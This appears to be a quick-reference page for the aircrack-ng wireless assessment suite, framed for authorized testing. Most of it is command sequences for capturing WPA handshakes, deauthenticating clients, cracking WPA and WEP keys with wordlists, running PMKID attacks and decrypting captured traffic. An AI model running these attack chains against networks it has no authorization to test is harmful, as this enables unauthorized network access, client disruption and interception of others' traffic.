Aircrack Ng

Aircrack-ng

Monitor-mode Wi‑Fi assessment suite for capture, injection, and classic wireless attack chains.

Quick Start

apt install aircrack-ng

# 1. Enable monitor mode
airmon-ng check
airmon-ng check kill
airmon-ng start wlan0    # Creates wlan0mon

# 2. Discover networks
airodump-ng wlan0mon

# 3. Capture target handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# 4. Deauth client (separate terminal) to force handshake when authorized
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# 5. Crack WPA handshake
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

Why Use It

Choose aircrack-ng when you need:

• direct control over monitor-mode capture
• repeatable WPA/WPA2 handshake workflows
• classic WEP assessment support
• packet injection and replay testing
• offline cracking handoff to wordlists or companion tools
• decryption of captured traffic after recovering keys

Tool Suite

Practical Notes

• Adapter quality matters more than clever syntax.
• Monitor mode and injection support should be validated before the engagement depends on them.
• aireplay-ng --fakeauth is a WEP association technique; it is not a WPA/WPA2 authentication method.
• When injection or fake authentication fails, verify channel lock, BSSID / ESSID accuracy, and whether the AP is rejecting non-associated stations.
• For passive, multi-sensor RF visibility, kismet is often a better first choice.
• For fast automation across multiple APs, wifite is usually faster.

Common Workflows

Validate injection before depending on replay attacks:

aireplay-ng -9 wlan0mon

WPA PMKID attack (no client needed, companion tooling):

hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng
hcxpcapngtool pmkid.pcapng -o hashes.22000
hashcat -m 22000 hashes.22000 rockyou.txt

Precompute PMKs for repeated ESSID-specific cracking:

echo "TargetSSID" > essid.txt
airolib-ng target.sqlite --import essid essid.txt
airolib-ng target.sqlite --import passwd /usr/share/wordlists/rockyou.txt
airolib-ng target.sqlite --batch
aircrack-ng -r target.sqlite capture-01.cap

WEP crack:

airodump-ng -c 11 --bssid BSSID -w wep wlan0mon
aireplay-ng -3 -b BSSID wlan0mon   # ARP replay
aircrack-ng wep-01.cap              # Auto-cracks when enough IVs

Decrypt recovered traffic for Wireshark / tshark review:

airdecap-ng -b AA:BB:CC:DD:EE:FF -e TargetSSID -p recovered-pass capture-01.cap

Best Fit

Resources